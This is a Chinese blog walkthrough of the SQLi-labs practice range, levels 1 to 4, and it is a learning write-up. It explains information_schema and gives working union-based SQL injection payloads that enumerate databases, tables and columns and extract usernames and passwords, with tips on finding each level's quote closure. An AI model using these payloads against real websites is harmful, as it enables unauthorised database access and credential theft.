sqllabs靶场less1-4

2023-05-11,,

less1-4

语法:Select 列名称 from 表名称 (where column_name=’xxx’ and …)

在数据库中:

information_schema:存放和数据库有关的东西

在information_schema中有SCHEMATA这是存放和数据库有关的数据库的名字

在information_schema中有TABLES用来存放和表有关的东西

在information_schema中有COLUMNS用来存放和列有关的东西,而且里面有table_name和column_name;主要是用来指定column是对属于哪一个table的

Information_schema:用来存放数据库内容的;

一般,进行一次注入需要走以下流程:

猜测数据库:

Select schema_name from information_schema.schemata

猜测某库中的数据表

Select table_name information_schema.tables where table_schema=’xxx’;

猜测表中的所有列:

Select column_name form information_schema.columns where table_name=’xxx’;

获取某列的内容

Select ***from ***

Less1:

先使用id=1’进行操作;出现错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

注意:这说明在’1’’ LIMIT 0,1附近有错误;并不是‘‘1’’LIMIT 0,1’

也就说明了,SQL查询语句是id=’1’

接着使用:

1' or 1=1--+

1' and 1=1--+

都是可以操作的;

接下来爆破数据库的列:

id=-1' union select 1,2,3,4,5--+

通过报错,慢慢减小select 后面的参数直到:

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。

爆破数据库的名字:

?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+

说明:

schema_name:是information_schema.schemata中存放数据库名的列表;

爆破数数据库的数据表

id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

说明:

table_name是数据库information_schema中tables的表中的列。

table_schema也是table中的列:这里的table_name用来指定从属数据库的表名。用来说明,当前的table是属于哪一个数据库。

爆破数据库security中的users的列表:

id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

说明:

Column_name:是数据库information_schema中columns表格中用来存放列名字的列;table_name用来指定表名;给一个指定名字的表,然后搜索它的列名;

table_schema:是用来表示该表从属于哪一个数据库

在这里有一个有趣的发现:这个表,是任意数据库的表,只要数据库中有重名且重列名的表,那么这里就会显示出来;table_name和column_name都是information_schema.columns表中的。

为了方便,还可以再限定一下,在 where之后加入语句:and table_schema=’security’

爆数据:

id=-1' union select 1,2,group_concat(user_id,’==’,password) from users;

这里是错误的,正确是语句是:

id =-1' union select 1,2,group_concat(username,’==’,password) from users;

这里因为没有加作用域,所以就自动的规定为在less1中的数据库(security)查询了

到这里,less-1算是讲完了,less1-4算是一个题型,只需要修改一下包含用的符号就行了

Less2:

在浏览器输入:?id=2’:报错:

You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near '' LIMIT 0,1' at line 1

和less1输入?id=1’进行对比发现:(最外层的’’只是圈出的报错的地方)

less1:‘1’’ LIMIT 0,1

less2:’ LIMIT 0,1  è

于是得知,查询语句id使用的int:SELECT *
FROM table WHERE id=(some integer value)

接下来:将less的所有语句去除-1后面的’,拿来直接使用就行;

Less3:

首先使用id=1’对less3进行一个错误的查询,根据返回的错误,判断less3的查询语句中使用的是哪种方式的闭合;错误信息:

You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to
use near ''3'') LIMIT 0,1' at line 1

注意:单引号和双引号肉眼难以区分。

可以使用鼠标进行选中来进行判断:发现都是单引号。

根据错误能够判断出,在后台执行语句为:select password from users where
id=(’3’’)

也就是说:开发者使用的查询为:SELECT login_name,password from table
where id=(‘our input’)

接着我们可以人为的使用’)来对后面的封闭进行闭合;

于是有了:sql=”select login_name,password from table where id=(‘3’)--+’)”;

或许以上看不清楚:在cmd中:select login_name,password from table
where id=(‘3’)--+’)

黄色标起来的地方是被--+注释了的地方;

接下来依旧是执行less1中的语句,将id=-1’换成id=-3’)即可(这里之所以写成-3,是因为想做个区分,实际上写任何数都可以,只要数据库中有对应的id值就会返回数据)

 

id=3)--+也可以进行查询    是因为弱比较?

执行 id=3’)
and 1=1

Id=(‘4’’)

Id= (‘4%27)  --+’)

Less4:

分别输入:4,4’,4),4’),4”

发现只有在4”的时候进行了报错(我这里就没有截图了),且知道了闭合方式为id=(“4”);

接着进行注入尝试:

能成功注入的有:

“) or
“1”=(“

“) or
1=1--+

于是将less1中的id=1’换成id=(“4就OK了

如果有错,请指正;

感谢您的阅读。

sqllabs靶场less1-4的相关教程结束。

《sqllabs靶场less1-4.doc》

下载本文的Word格式文档,以方便收藏与打印。